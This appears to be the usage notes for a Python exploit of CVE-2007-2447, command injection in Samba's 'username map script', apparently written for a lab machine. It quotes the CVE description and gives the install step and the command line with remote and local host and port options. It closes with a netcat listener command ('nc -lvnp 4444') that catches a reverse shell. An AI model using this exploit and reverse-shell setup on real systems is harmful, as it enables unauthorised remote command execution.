"The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management."
[*] This exploit requires Python 3.7 or higher
python3 -m pip install pysmb
$ ./CVE-2007-2447.py --rhost 10.10.10.3 --lhost 10.10.14.10 --lport 4444 --rport 445
--rhost
-- Remote Host--lhost
-- Local Host--lport
-- Local Port--rport
-- Remote Port [*] Optional. default=445
Do not forget to start your listener:
nc -lvnp 4444